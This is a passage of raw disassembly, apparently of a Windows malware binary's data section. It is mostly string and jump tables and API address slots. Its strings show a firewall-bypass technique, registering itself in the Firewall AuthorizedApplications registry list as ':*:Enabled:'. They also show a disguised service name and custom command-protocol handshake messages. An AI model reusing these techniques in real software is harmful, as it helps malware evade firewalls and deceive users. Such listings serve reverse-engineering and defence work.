0Dh,0Ah,0 aHttpDiscoveryR db 'HTTP discovery request: [%s:%i]...',0Ah,0 ; DATA XREF: sub_4025A9+10Ao ; sub_443A14+10Ao aHttp db 'http://',0 ; DATA XREF: sub_4025A9+25o ; sub_402B02+4A1o ... a_ db '.',0 ; DATA XREF: sub_402562:loc_402584o ; sub_4439CD:loc_4439EFo a6ea9b038C8014f db '{6EA9B038-C801-4F76-805F-E41ACF9ED165}',0 ; DATA XREF: sub_4023DC+7o ; sub_402449+5o ... aSystemCurrentc db 'SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\Firewal' ; DATA XREF: sub_402296+8Eo ; DMN0:00402373o ... db 'lPolicy\StandardProfile\AuthorizedApplications\List',0 aWindowsNetwork db 'Windows Network Management and Security Layer',0 ; DATA XREF: sub_402296+6Do ; sub_4052BA+42o ... aEnabled db ':*:Enabled:',0 ; DATA XREF: sub_402296+5Ao ; sub_405B8F+28o ... aHandshakeBadVe db 'Handshake: bad version (%i)',0Ah,0 ; DATA XREF: DMN0:00401E88o ; DMN1:004432F3o aHandshakeBadPa db 'Handshake: bad packed (%i)',0Ah,0 ; DATA XREF: DMN0:00401E68o ; sub_4085D0+91r ... aHandshakeRecvE db 'Handshake: recv() error',0Ah,0 ; DATA XREF: DMN0:00401E53o ; DMN1:004432BEo aProtorecvDataS db 'protorecv(): data size: %i (of %i)',0Ah,0 ; DATA XREF: sub_401BAC+12Do ; sub_443017+12Do ... aPktrecvPacketi db 'PktRecv(): packetId: 0x%03x',0Ah,0 ; DATA XREF: sub_401BAC+DEo ; sub_443017+DEo aPktrecvInvalid db 'PktRecv(): invalid signature (%i)',0Ah,0 ; DATA XREF: sub_401BAC+86o ; sub_443017+86o aPktsendIIBytes db 'PktSend(%i): %i bytes',0Ah,0 ; DATA XREF: sub_401ADA+68o ; sub_442F45+68o aSIsS db '%s is %s',0Ah,0 ; DATA XREF: DMN0:004018A6o ; DMN1:00442D11o aWinsock2_xInit db 'WinSock 2.x initialized.',0Ah,0 ; DATA XREF: sub_4012EC:loc_40133Co ; sub_442757:loc_4427A7o ... aWinsock1_1Init db 'WinSock 1.1 initialized.',0Ah,0 ; DATA XREF: sub_4012EC:loc_40132Fo ; sub_442757:loc_44279Ao aA db 'a',0 ; DATA XREF: DMN0:004011E9o ; DMN1:00442654o aPm db 'PM',0 ; DATA XREF: DMN0:loc_401190o ; DMN1:loc_4425FBo aAm db 'AM',0 ; DATA XREF: DMN0:00401189o ; DMN1:004425F4o a02i02i02iIIIS db '%02i/%02i/%02i %i:%i:%i%s',0 ; DATA XREF: DMN0:004011C4o ; DMN1:0044262Fo ... aS_0 db '%s',0 ; DATA XREF: DMN0:0040112Bo ; DMN0:00401147o ... align 4 dword_40F88C dd 0FFFFFFFFh, 0 ; DATA XREF: sub_407480+5o ; sub_4488EB+5o dd offset sub_4074EA dword_40F898 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_407690+5o ; sub_448AFB+5o dd offset sub_4076EB dword_40F8A4 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_407790+5o ; sub_448BFB+5o dd offset sub_4077EE dword_40F8B0 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_4078F0+5o ; sub_448D5B+5o dd offset sub_40793D dword_40F8BC dd 0FFFFFFFFh, 407C58h, 407C73h ; DATA XREF: sub_407C00+5o ; DMN1:00449070o dword_40F8C8 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_407D70+5o ; sub_4491DB+5o dd offset sub_407DED dword_40F8D4 dd 0FFFFFFFFh, 407F15h, 407F30h, 4000h ; DATA XREF: sub_407E30+5o ; DMN1:004492A0o dword_40F8E4 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_408530+5o ; sub_44999B+5o dd offset sub_40858E dd offset loc_4086BC dd offset loc_408672 dd offset loc_4086A2 dd offset loc_4086A2 dd offset loc_408672 dd offset loc_408672 dd offset loc_408672 dd offset loc_408672 dd offset loc_408672 off_40F914 dd offset loc_4086AF ; DATA XREF: sub_4085D0+2Er ; sub_449A3B+2Er dd offset loc_408672 dd offset loc_408682 dd offset loc_408682 dd offset loc_4086F0 dd offset loc_4086A2 dd offset loc_4086C9 dd offset loc_408692 dd offset loc_408692 dd offset loc_408692 dd offset loc_408672 dd offset loc_4086E3 dd offset loc_408672 dd offset loc_408672 dd offset loc_408672 dd offset loc_408682 dd offset loc_4086A2 dd offset loc_408717 dd offset loc_408682 dd offset loc_4086A2 dd offset loc_4086A2 dd offset loc_4086A2 dd offset loc_4086A2 dd offset loc_4086A2 dd offset loc_4086A2 dd offset loc_4086A2 dd offset loc_4086A2 dd offset loc_4086A2 dd offset loc_4086A2 dd offset loc_4086A2 dd offset loc_4086A2 dd offset loc_4086A2 dd offset loc_4086A2 dd offset loc_4086A2 dd offset loc_4086A2 dd offset loc_408672 dd offset loc_4086A2 dd offset loc_408672 dd offset loc_408672 dd offset loc_408672 dd offset loc_408672 dd offset loc_408672 dd offset loc_408672 dd offset loc_408672 dd offset loc_408672 dd offset loc_408672 dd offset loc_408672 dd offset loc_408672 dd offset loc_408672 dd offset loc_408672 dd offset loc_408672 dd offset loc_408672 dd offset loc_408672 dd offset loc_408682 dd offset loc_408672 dd offset loc_408672 dd offset loc_408672 dd offset loc_408672 dd offset loc_408672 dd offset loc_408672 dd offset loc_408672 dd offset loc_408672 dd offset loc_408672 dd offset loc_408672 dd offset loc_408672 dd offset loc_4086A2 dd offset loc_408672 dd offset loc_408682 dd offset loc_4086A2 dd offset loc_40870A dd offset loc_408672 dd offset loc_408672 dd offset loc_4086FD dd offset loc_408672 dd offset loc_4086C9 dd offset loc_4086D6 dd offset loc_4086D6 dd offset loc_4086C9 dd offset loc_408672 dd offset loc_4086A2 dd offset loc_4086BC dd offset loc_408672 dd offset loc_408672 dd offset loc_408672 dd offset loc_408672 dd offset loc_4086E3 dd offset loc_4086E3 dd offset loc_4086E3 dd offset loc_4086E3 dd offset loc_4086E3 dd offset loc_4086E3 dd offset loc_4086E3 dd offset loc_4086E3 dd offset loc_4086E3 dd offset loc_4086E3 dd offset loc_4086E3 dd offset loc_4086E3 dd offset loc_4086E3 dd offset loc_4086E3 dd offset loc_4086E3 dd offset loc_408672 dd offset loc_408672 dd offset loc_408672 dd offset loc_408682 dd offset loc_408672 dd offset loc_408672 dd offset loc_408672 dd offset loc_408672 dd offset loc_408672 dd offset loc_408672 dd offset loc_408672 dd offset loc_408672 dd offset loc_4086AF dword_40FAD8 dd 232D2B20h, 30h ; DATA XREF: sub_408B70+E4o ; sub_408B70+FDo ... dword_40FAE0 dd 1, 2, 4, 8, 10h, 0 ; DATA XREF: sub_408B70+EDr ; sub_449FDB+EDr aHjltzl db 'hjltzL',0 ; DATA XREF: sub_408B70+1CDo ; sub_449FDB+1CDo align 10h aConin db 'CONIN$',0 ; DATA XREF: DMN0:00408E3Eo ; DMN1:0044A2A9o aConout db 'CONOUT$',0 ; DATA XREF: sub_408DF0+1Eo ; sub_44A25B+1Eo align 10h dword_40FB10 dd 0 ; DATA XREF: sub_408EB0+24o ; sub_44A31B+24o dd 0FFFFFFFFh, 11h dup(0) dword_40FB5C dd 0 ; DATA XREF: DMN0:off_411898o dword_40FB60 dd 0 ; DATA XREF: sub_409CE0+36r ; sub_409CE0+18Br ... dword_40FB64 dd 0 ; DATA XREF: sub_409CE0+3Cr ; sub_409CE0+191r ... db 2 dup(0) word_40FB6A dw 200h ; DATA XREF: DMN0:off_41189Co dd 4 dup(100010h), 300130h, 300030h, 100030h, 8 dup(100010h) dd 400010h, 7 dup(800080h), 30080h, 4 dup(30003h), 800003h dd 3 dup(800080h), 3 dup(0A000Ah), 3 dup(80008h) dword_40FC04 dd 80008h ; DATA XREF: sub_409FC0+55r ; sub_44B42B+55r aAaaaaa: dw 8 dw 8 dw 8 dw 8 dw 8 dw 8 dw 8 dw 8 dw 8 dw 8 dw 8 dw 8 unicode 0, <€€€€€€> dd 3 dup(60006h), 0Ah dup(40004h), 2 dup(800080h) dword_40FC68 dd 10h, 40h dup(0) ; DATA XREF: sub_409FC0+18r ; sub_44B42B+18r dd offset loc_40A397 dd offset loc_40A6C7 dd offset loc_40A6C7 dd offset loc_40A6C7 dd offset loc_40A397 dd offset loc_40A397 dd offset loc_40A397 dd offset loc_40A397 dd offset loc_40A6C7 dd offset loc_40A01C dd offset loc_40A08B dd offset loc_40A397 dd offset loc_40A397 dd offset loc_40A397 dd offset loc_40A6C7 dd offset loc_40A08B dd offset loc_40A6C7 dd offset loc_40A6C7 dd offset loc_40A6C7 dd offset loc_40A6C7 dd offset loc_40A459 dd offset loc_40A223 dd offset loc_40A591 dd offset loc_40A6C7 dd offset loc_40A6C7 dd offset loc_40A5EF dd offset loc_40A6C7 dd offset loc_40A223 dd offset loc_40A6C7 dd offset loc_40A6C7 dd offset loc_40A223 dword_40FDE8 dd 6C756E28h, 296Ch ; DATA XREF: sub_409FC0+661o ; sub_44B42B+661o asc_40FDF0 db ' ',0 ; DATA XREF: sub_40A700+54o ; sub_40A700+23Do ... a00000000000000 db '00000000000000000000000000000000',0 ; DATA XREF: sub_40A700+D8o ; sub_40A700+15Co ... align 4 dword_40FE34 dd 0 ; DATA XREF: sub_40A970+Dr ; sub_44BDDB+Dr dd 0 dd 1, 2 db 2 dup(0) word_40FE46 dw 0E000h ; DATA XREF: DMN0:004118A8o ; DMN0:004118E8o ... dd 0E002E001h, 0E004E003h, 0E006E005h, 0E008E007h, 0E00AE009h dd 0E00CE00Bh, 0E00EE00Dh, 0E010E00Fh, 0E012E011h, 0E014E013h dd 0E016E015h, 0E018E017h, 0E01AE019h, 0E01CE01Bh, 0E01EE01Dh dd 0E020E01Fh, 0E022E021h, 0E024E023h, 0E026E025h, 0E028E027h dd 0E02AE029h, 0E02CE02Bh, 0E02EE02Dh, 0E030E02Fh, 0E032E031h dd 0E034E033h, 0E036E035h, 0E038E037h, 0E03AE039h, 0E03CE03Bh dd 0E03EE03Dh, 0E040E03Fh, 0E042E041h, 0E044E043h, 0E046E045h dd 0E048E047h, 0E04AE049h, 0E04CE04Bh, 0E04EE04Dh, 0E050E04Fh dd 0E052E051h, 0E054E053h, 0E056E055h, 0E058E057h, 0E05AE059h dd 0E05CE05Bh, 0E05EE05Dh, 0E060E05Fh, 0E062E061h, 0E064E063h dd 0E066E065h, 0E068E067h, 0E06AE069h, 0E06CE06Bh, 0E06EE06Dh dd 0E070E06Fh, 0E072E071h, 0E074E073h, 0E076E075h, 0E078E077h dd 0E07AE079h, 0E07CE07Bh, 0E07EE07Dh, 0E080E07Fh, 0E082E081h dd 0E084E083h, 0E086E085h, 0E088E087h, 0E08AE089h, 0E08CE08Bh dd 0E08EE08Dh, 0E090E08Fh, 0E092E091h, 0E094E093h, 0E096E095h dd 0E098E097h, 0E09AE099h, 0E09CE09Bh, 0E09EE09Dh, 0E0A0E09Fh dd 0E0A2E0A1h, 0E0A4E0A3h, 0E0A6E0A5h, 0E0A8E0A7h, 0E0AAE0A9h dd 0E0ACE0ABh, 0E0AEE0ADh, 0E0B0E0AFh, 0E0B2E0B1h, 0E0B4E0B3h dd 0E0B6E0B5h, 0E0B8E0B7h, 0E0BAE0B9h, 0E0BCE0BBh, 0E0BEE0BDh dd 0E0C0E0BFh, 0E0C2E0C1h, 0E0C4E0C3h, 0E0C6E0C5h, 0E0C8E0C7h dd 0E0CAE0C9h, 0E0CCE0CBh, 0E0CEE0CDh, 0E0D0E0CFh, 0E0D2E0D1h dd 0E0D4E0D3h, 0E0D6E0D5h, 0E0D8E0D7h, 0E0DAE0D9h, 0E0DCE0DBh dd 0E0DEE0DDh, 0E0E0E0DFh, 0E0E2E0E1h, 0E0E4E0E3h, 0E0E6E0E5h dd 0E0E8E0E7h, 0E0EAE0E9h, 0E0ECE0EBh, 0E0EEE0EDh, 0E0F0E0EFh dd 0E0F2E0F1h, 0E0F4E0F3h, 0E0F6E0F5h, 0E0F8E0F7h, 0E0FAE0F9h dd 0E0FCE0FBh, 0E0FEE0FDh, 0E0FFh aNull: ; DATA XREF: sub_40B240+81o ; sub_44C6AB+81o unicode 0, <(null)>,0 align 4 a0123456789ab_0 db '0123456789abcdef',0 ; DATA XREF: sub_40B390:loc_40B3A8o ; sub_44C7FB:loc_44C813o a0123456789abcd db '0123456789ABCDEF',0 ; DATA XREF: sub_40B390+Fo ; sub_44C7FB+Fo align 4 dbl_41007C dq 1.0e1 ; DATA XREF: sub_40B5E0+3E4r ; sub_40B5E0+42Dr ... dd 0 dd 40590000h, 0 dd 40C38800h, 0 dd 4197D784h, 37E08000h, 4341C379h, 0B5056E17h, 4693B8B5h dd 0E93FF9F5h, 4D384F03h, 0F9301D32h, 5A827748h, 7F73BF3Ch dd 75154FDDh dbl_4100C4 dq 1.0e8 ; DATA XREF: sub_40B5E0+4B5r ; sub_44CA4B+4B5r dbl_4100CC dq 1.0 ; DATA XREF: sub_40B5E0+403r ; sub_44CA4B+403r dbl_4100D4 dq 0.0 ; DATA XREF: sub_40B5E0+1BCr ; sub_40B5E0+28Ar ... a0123456789ab_2 db '0123456789ABCDEF',0 ; DATA XREF: sub_40B5E0:loc_40B764o ; sub_44CA4B:loc_44CBCFo a0123456789ab_1 db '0123456789abcdef',0 ; DATA XREF: sub_40B5E0+17Bo ; sub_44CA4B+17Bo off_4100FE dd offset byte_464E49 ; DATA XREF: sub_40B5E0:loc_40B6CCo ; sub_44CA4B:loc_44CB37o word_410102 dw 6E69h ; DATA XREF: sub_40B5E0:loc_40B6C3o ; sub_44CA4B:loc_44CB2Eo db 66h, 0 word_410106 dw 414Eh ; DATA XREF: sub_40B5E0:loc_40B67Ao ; sub_44CA4B:loc_44CAE5o byte_410108 db 4Eh, 0 ; DATA XREF: sub_40C050+5Br ; sub_44D4BB+5Br word_41010A dw 616Eh ; DATA XREF: sub_40B5E0:loc_40B671o dd 6Eh, 40C0D8h, 40C0F3h, 40C0CFh, 40C0F3h, 40C0BAh, 40C0F3h dd 40C0C6h, 2 dup(40C0F3h), 40C0E1h aTerminating db ' -- terminating',0Ah,0 ; DATA XREF: sub_40C050+10Do ; sub_44D4BB+10Do aSignal db 'signal #',0 ; DATA XREF: sub_40C050+EAo ; sub_44D4BB+EAo aTerminationReq db 'termination request',0 ; DATA XREF: sub_40C050:loc_40C0EAo ; sub_44D4BB:loc_44D555o aInvalidStorage db 'invalid storage access',0 ; DATA XREF: sub_40C050+91o ; sub_44D4BB+91o aInterruption db 'interruption',0 ; DATA XREF: sub_40C050+88o ; sub_44D4BB+88o aInvalidExecuta db 'invalid executable code',0 ; DATA XREF: sub_40C050+7Fo ; sub_44D4BB+7Fo aArithmeticErro db 'arithmetic error',0 ; DATA XREF: sub_40C050+76o ; sub_44D4BB+76o aAbort db 'abort',0 ; DATA XREF: sub_40C050+6Ao ; sub_44D4BB+6Ao align 4 dword_4101BC dd 0 ; DATA XREF: sub_40C270+23r ; sub_40C270+10Fr ... dword_4101C0 dd 0 ; DATA XREF: sub_40C270+29r ; sub_40C270:loc_40C385r ... align 8 dword_4101C8 dd 30h ; DATA XREF: sub_40C740+1Eo ; sub_44DBAB+1Eo byte_4101CC db 0 ; DATA XREF: DMN0:004119A8o ; DMN0:004119ACo ... byte_4101CD db 2Eh, 2 dup(0) ; DATA XREF: DMN0:off_4119D4o dd 0 dword_4101D4 dd 38Bh dup(0) ; DATA XREF: sub_407E30+73o ; sub_407E30:loc_407EAFo ... dword_411000 dd 1 ; DATA XREF: sub_40122A:loc_401237w ; sub_40122A+13r ... dword_411004 dd 0 ; DATA XREF: sub_403C3F+66r ; sub_403C3F+86w ... dword_411008 dd 0 ; DATA XREF: sub_40238A+7r ; sub_40238A+43w ... dword_41100C dd 0 ; DATA XREF: sub_40356A+2Ar ; sub_40356A:loc_4035CDr ... dword_411010 dd 0 ; DATA XREF: sub_40356A+1Er ; sub_40356A+46r ... dword_411014 dd 0 ; DATA XREF: sub_40399A+189o ; sub_403C3F+317o ... dword_411018 dd 0 ; DATA XREF: sub_403604+1r ; sub_403604+1Fw ... dword_41101C dd 0 ; DATA XREF: DMN0:004036A3r ; DMN0:004036C1w ... dd 0 dword_411024 dd 0 ; DATA XREF: sub_40356A+58o ; sub_40356A+86o ... dword_411028 dd 0 ; DATA XREF: sub_40410E+1r ; sub_40410E+1Fw ... dword_41102C dd 0 ; DATA XREF: sub_40440D+Dw ; sub_40440D+19r ... dword_411030 dd 0 ; DATA XREF: sub_404CDF+187o ; sub_404CDF+244o ... dword_411034 dd 0 ; DATA XREF: sub_40400E+32r ; sub_40400E+9Br ... byte_411038 db 5Ah ; DATA XREF: sub_404573+19r ; sub_4459DE+19r db 3 dup(5Bh) dd 5B5B5B5Bh, 5B5Bh dword_411044 dd 0 ; DATA XREF: DMN0:00405EAFw ; DMN1:0044731Aw dword_411048 dd 2 dup(0) ; DATA XREF: DMN0:00405D9Bo ; DMN1:00447206o dword_411050 dd 0 ; DATA XREF: sub_406086+Bw ; sub_406086+25r ... dword_411054 dd 0 ; DATA XREF: sub_40628E+Dr ; sub_40628E+B9w ... dword_411058 dd 0 ; DATA XREF: sub_406183+Cr ; sub_406183+15r ... dword_41105C dd 0 ; DATA XREF: sub_40670D+Fo ; sub_447B78+Fo dword_411060 dd 0 ; DATA XREF: sub_407790+35r ; sub_407790+3Ew ... dword_411064 dd 0 ; DATA XREF: sub_407D70+45r ; sub_407D70+62r ... dd 4Fh dup(0) dword_4111A4 dd 50h ; DATA XREF: sub_407D70:loc_407DA7r ; sub_407D70+3Fw ... dword_4111A8 dd 0 ; DATA XREF: sub_407D70:loc_407DC7r ; sub_407D70+5Dw ... dword_4111AC dd 0 ; DATA XREF: sub_407100+18Ew ; sub_407100+1B1r ... dd 6 dup(0) dd 95FFF8h, 0 dword_4111D0 dd 95FFFCh ; DATA XREF: sub_407480+38r ; sub_407F60+8Br ... dword_4111D4 dd 950004h ; DATA XREF: sub_407480+30r ; sub_407F60+C1r ... dword_4111D8 dd 950000h ; DATA XREF: sub_407F60+97r ; sub_407F60:loc_408004r ... dword_4111DC dd 8 ; DATA XREF: sub_407100+66r ; sub_407100+10Br ... dword_4111E0 dd 10h ; DATA XREF: sub_407100+5Dr ; sub_407100+FEr ... dword_4111E4 dd 20h ; DATA XREF: sub_407100:loc_407178r ; sub_407100+121r ... dword_4111E8 dd 40h ; DATA XREF: sub_407100+54r ; sub_407100+F1r ... dword_4111EC dd 80h ; DATA XREF: sub_407100+99r ; sub_407100+14Ar ... dword_4111F0 dd 100h ; DATA XREF: sub_407100:loc_407190r ; sub_407100+13Dr ... dword_4111F4 dd 200h ; DATA XREF: sub_407100:loc_4071AEr ; sub_407100+163r ... dd 400h dword_4111FC dd 7 ; DATA XREF: sub_407100+19Cr ; sub_407100:loc_4072A6w ... dword_411200 dd 7 ; DATA XREF: sub_407100+361w ; sub_407F60+175w ... dword_411204 dd 19930520h, 3 dup(0) ; DATA XREF: DMN0:00408912o ; sub_408919+2o ... off_411214 dd offset dword_412840 ; DATA XREF: sub_408A30r ; sub_408A70:loc_408A76r ... off_411218 dd offset dword_412828 ; DATA XREF: sub_408A30+Cr ; sub_408A70+38r ... off_41121C dd offset dword_412810 ; DATA XREF: sub_408A30+18r ; sub_408A70+44r ... off_411220 dd offset dword_4127F8 ; DATA XREF: sub_408A30+24r ; sub_408A70+50r ... dd 5 dup(0) dword_411238 dd 0 ; DATA XREF: sub_408DF0r sub_408DF0+9r ... dword_41123C dd 0 ; DATA XREF: DMN0:00408E20r ; DMN0:00408E29r ... dd 14h dup(0) dword_411290 dd 1, 0 ; DATA XREF: DMN0:off_411374o dd offset byte_4112D8 dd offset byte_4112D9 dd offset byte_4112D8 dd offset byte_4112D8 dd offset byte_4112D8 dd offset byte_4112D8 dd offset dword_4112B8 align 8 dword_4112B8 dd 8 dup(0) ; DATA XREF: DMN0:004112B0o byte_4112D8 db 0 ; DATA XREF: DMN0:00411298o ; DMN0:004112A0o ... byte_4112D9 db 3 dup(0) ; DATA XREF: DMN0:0041129Co dword_4112DC dd 802h, 1, 411324h, 411325h, 4 dup(411324h), 411304h ; DATA XREF: DMN0:00411378o dd 0Ah dup(0) dword_411328 dd 802h, 2, 411240h, 411290h, 3 dup(411240h), 411370h ; DATA XREF: sub_40C050+E5o ; sub_40C050:loc_40C147o ... dd 411350h, 0Ah dup(0) off_411374 dd offset dword_411290 ; DATA XREF: sub_407770:loc_407773r ; sub_407810:loc_40787Cr ... dd offset dword_4112DC dd offset dword_411328 dd 0FDh dup(0) dword_411774 dd 11h ; DATA XREF: sub_407C00+2Ar ; sub_409360+Cw ... dword_411778 dd 0C0000005h, 0Bh, 0C000001Dh, 4, 0C0000096h, 4, 0C000008Dh ; DATA XREF: sub_409530+7o ; sub_44A99B+7o dd 8, 0C000008Eh, 8, 0C000008Fh, 8, 0C0000090h, 8, 0C0000091h dd 8, 0C0000092h, 8, 0C0000093h, 8 dword_4117C8 dd 1 ; DATA XREF: sub_409530:loc_409582o ; sub_409AA0+82w ... dword_4117CC dd 95005Ch ; DATA XREF: sub_409AA0+87w ; sub_44AF0B+87w dd 0 dword_4117D4 dd 950078h ; DATA XREF: sub_409B40+55w ; sub_409B40+5Ar ... dd 0 dword_4117DC dd 950000h ; DATA XREF: sub_409C40+Cr ; sub_409C40+2Aw ... dword_4117E0 dd 2000000h ; DATA XREF: sub_407E30+31w ; sub_409C40+1Cr ... dword_4117E4 dd 400h ; DATA XREF: sub_407F60+2Ew ; sub_408530+2Dr ... dword_4117E8 dd 2Ch dup(0) ; DATA XREF: sub_4093F0+16o ; sub_409490+5Co ... off_411898 dd offset dword_40FB5C ; DATA XREF: sub_409B40+16r ; sub_409B40+A2r ... off_41189C dd offset word_40FB6A ; DATA XREF: sub_408B70+160r ; sub_408B70+1BBr ... dword_4118A0 dd 0 ; DATA XREF: sub_40B0E0+99r ; sub_40B0E0:loc_40B198w ... byte_4118A4 db 3 ; DATA XREF: sub_40B240+2Ar ; sub_40C270+14Ar ... align 4 dd offset word_40FE46 dd 0Fh dup(0) dd offset word_40FE46 dd 0Fh dup(0) off_411928 dd offset word_40FE46 ; DATA XREF: sub_409CE0+20r ; sub_409CE0+19Cr ... dd 0Fh dup(0) off_411968 dd offset word_40FE46 ; DATA XREF: sub_40C270+13Cr ; sub_44D6DB+13Cr dd 0Fh dup(0) dd offset byte_4101CC dd offset byte_4101CC dd offset byte_4101CC dd offset byte_4101CC dd offset byte_4101CC dd offset byte_4101CC dd offset byte_4101CC dd 3 dup(7F7F7F7Fh), 7F7Fh off_4119D4 dd offset byte_4101CD ; DATA XREF: sub_40C740+7r ; sub_44DBAB+7r dd offset byte_4101CC dd offset byte_4101CC dbl_4119E0 dq 1.797693134862316e308 ; DATA XREF: sub_40D320+8Ar ; sub_40D320:loc_40D3B7r ... dd 0 dd 7FF80000h, 0 dd 3C900000h, 0 dd 3E400000h, 0 dd 40320000h, 2 dup(0) dd 11A88h, 2 dup(0) dd 122B2h, 11CC8h, 11BE8h, 2 dup(0) dd 124B6h, 11E28h, 11C4Ch, 2 dup(0) dd 12520h, 11E8Ch, 11CACh, 2 dup(0) dd 12540h, 11EECh, 11CB4h, 2 dup(0) dd 1259Ch, 11EF4h, 5 dup(0) dd 11F08h, 11F18h, 11F34h, 11F4Ch, 11F64h, 11F74h, 11F84h dd 11F9Ah, 11FA8h, 11FBEh, 11FCEh, 11FDEh, 11FF0h, 12004h dd 12012h, 12024h, 1202Ch, 12042h, 12052h, 12060h, 12072h dd 12082h, 12090h, 120A0h, 120B4h, 120C0h, 120D6h, 120F0h dd 120FEh, 12114h, 12120h, 1212Ch, 1213Ch, 12148h, 12162h dd 12178h, 12186h, 12196h, 121A8h, 121B8h, 121C8h, 121DCh dd 121EEh, 12202h, 12214h, 1222Ah, 12240h, 1224Eh, 12262h dd 1227Eh, 12290h, 122A0h, 125A8h, 125B8h, 125C6h, 125D6h dd 125E6h, 125F4h, 12606h, 12612h, 12620h, 1262Eh, 1263Ah dd 12648h, 12654h, 12660h, 12670h, 12688h, 12696h, 126A2h dd 126B8h, 126C2h, 126D0h, 126ECh, 12706h, 12714h, 12726h dd 12738h, 12750h, 1276Ah, 1277Ah, 1278Ah, 12796h, 127A6h dd 127BEh, 127D0h, 127DCh, 0 dd 122C0h, 122D2h, 122E4h, 122F2h, 12302h, 12312h, 12332h dd 1234Eh, 1235Eh, 12370h, 12380h, 12396h, 123ACh, 123C4h dd 123DCh, 123ECh, 123FEh, 1240Eh, 12422h, 12436h, 12454h dd 12472h, 1248Ah, 1249Eh, 0 dd 80000073h, 80000074h, 80000017h, 80000015h, 80000003h dd 80000012h, 8000000Ch, 80000009h, 80000004h, 80000002h dd 8000000Dh, 80000001h, 8000000Fh, 80000010h, 80000013h dd 8000000Ah, 80000034h, 80000006h, 80000039h, 8000000Bh dd 80000014h, 80000011h, 8000006Fh, 0 dd 1252Ch, 0 dd 1254Eh, 1255Eh, 12572h, 12588h, 0 dword_411CC8 dd 77E7751Ah ; DATA XREF: sub_401001:loc_40100Br ; sub_402562+6r ... dword_411CCC dd 77E79908h ; DATA XREF: sub_40103C+5r ; sub_401097+5r ... dword_411CD0 dd 77F7E21Fh ; DATA XREF: sub_401048+9r ; sub_401076+5r ... dword_411CD4 dd 77F7E300h ; DATA XREF: sub_401048+23r ; sub_401076+1Ar ... dword_411CD8 dd 77E79C3Dh ; DATA XREF: DMN0:004010C1r ; sub_409630+1B2r ... dword_411CDC dd 77E70F89h ; DATA XREF: DMN0:0040117Cr ; DMN1:004425E7r dword_411CE0 dd 77E7A099h ; DATA XREF: sub_402296+18r ; DMN0:00402353r ... dword_411CE4 dd 77E79881h ; DATA XREF: sub_40238A+14r ; sub_405C00+Dr ... dword_411CE8 dd 77E77797h ; DATA XREF: sub_4023DC:loc_4023FBr ; sub_443847+1Fr dword_411CEC dd 77F5157Dh ; DATA XREF: sub_4023DC+2Br ; sub_403604+2Dr ... dword_411CF0 dd 77E74D76h ; DATA XREF: sub_4023DC+44r ; sub_402449+29r ... dword_411CF4 dd 77E75090h ; DATA XREF: sub_4023DC+62r ; sub_402449+47r ... dword_411CF8 dd 77E7C815h ; DATA XREF: sub_402449+11r ; sub_4024A6+12r ... dword_411CFC dd 77E77963h ; DATA XREF: sub_402449+51r ; sub_4024A6+5Er ... dword_411D00 dd 77E762D0h ; DATA XREF: sub_402511+33r ; sub_40571E+33r ... dword_411D04 dd 77E61BE6h ; DATA XREF: sub_402562+32r ; sub_40356A+Br ... dword_411D08 dd 77E775F1h ; DATA XREF: sub_40356A+5Dr ; sub_40356A+8Br ... dword_411D0C dd 77E7C2C4h ; DATA XREF: sub_403604+19r ; DMN0:004036BBr ... dword_411D10 dd 77E8074Ah ; DATA XREF: sub_403658+10r ; sub_4036F6+10r ... dword_411D14 dd 77E61BB8h ; DATA XREF: sub_403723+DCr ; DMN0:0040501Er ... dword_411D18 dd 77F51587h ; DATA XREF: sub_403838+BDr ; sub_409420+59r ... dword_411D1C dd 77E73628h ; DATA XREF: sub_403838+13Br ; sub_40399A+1ACr ... dword_411D20 dd 77E6AD34h ; DATA XREF: sub_40399A+3Cr ; sub_40399A+93r ... dword_411D24 dd 77E6AF8Fh ; DATA XREF: sub_40399A+57r ; sub_40399A+AEr ... dword_411D28 dd 77E6BD13h ; DATA XREF: sub_40399A+C4r ; sub_406A81+18Fr ... dword_411D2C dd 77E70396h ; DATA XREF: sub_40399A+DEr ; sub_406183+8Ar ... dword_411D30 dd 77E76B5Ch ; DATA XREF: sub_403C3F+31Cr ; DMN1:004453C6r dword_411D34 dd 77E75CB5h ; DATA XREF: sub_403FEA+10r ; sub_409520+5r ... dword_411D38 dd 77E79D5Bh ; DATA XREF: sub_40400E+23r ; sub_405C00+E5r ... dword_411D3C dd 77E76A2Eh ; DATA XREF: sub_4040C3+36r ; sub_405441+B5r ... dword_411D40 dd 77E73BEFh ; DATA XREF: sub_4052BA+A7r ; sub_446725+A7r dword_411D44 dd 77E737DEh ; DATA XREF: DMN0:0040569Er ; sub_405C00+51r ... dword_411D48 dd 77E74A3Bh ; DATA XREF: DMN0:004056ABr ; sub_406010+65r ... dword_411D4C dd 77E74C59h ; DATA XREF: sub_405C00+C7r ; sub_44706B+C7r dword_411D50 dd 77E74CABh ; DATA XREF: sub_405F73+14r ; sub_406A81+28Dr ... dword_411D54 dd 77E74A69h ; DATA XREF: sub_406010+11r ; sub_4067B2+7r ... dword_411D58 dd 77E6CA8Ah ; DATA XREF: sub_406183+31r ; sub_4475EE+31r dword_411D5C dd 77E7105Fh ; DATA XREF: sub_406183+44r ; sub_4475EE+44r dword_411D60 dd 77E760B5h ; DATA XREF: sub_406183+5Fr ; sub_4475EE+5Fr dword_411D64 dd 77E7C931h ; DATA XREF: sub_406183+73r ; sub_4475EE+73r dword_411D68 dd 77E79C90h ; DATA XREF: sub_4063D2+1Br ; sub_409630+1D3r ... dword_411D6C dd 77E79824h ; DATA XREF: sub_40644C+21r ; sub_4478B7+21r dword_411D70 dd 77E79F93h ; DATA XREF: sub_40644C+7Ar ; sub_407E30+9Ar ... dword_411D74 dd 77E7A5FDh ; DATA XREF: sub_40644C+91r ; sub_40644C+A2r ... dword_411D78 dd 77E61A90h ; DATA XREF: sub_40644C+E6r ; sub_4478B7+E6r dword_411D7C dd 77E7AA83h ; DATA XREF: sub_40644C+11Dr ; sub_4478B7+11Dr dword_411D80 dd 77E706B7h ; DATA XREF: sub_406576+15r ; sub_4479E1+15r dword_411D84 dd 77E6C9E0h ; DATA XREF: sub_406576+5Cr ; sub_4479E1+5Cr dword_411D88 dd 77EBB1E7h ; DATA XREF: sub_40702Cr sub_448497r dword_411D8C dd 77EBA595h ; DATA XREF: sub_407032r sub_44849Dr 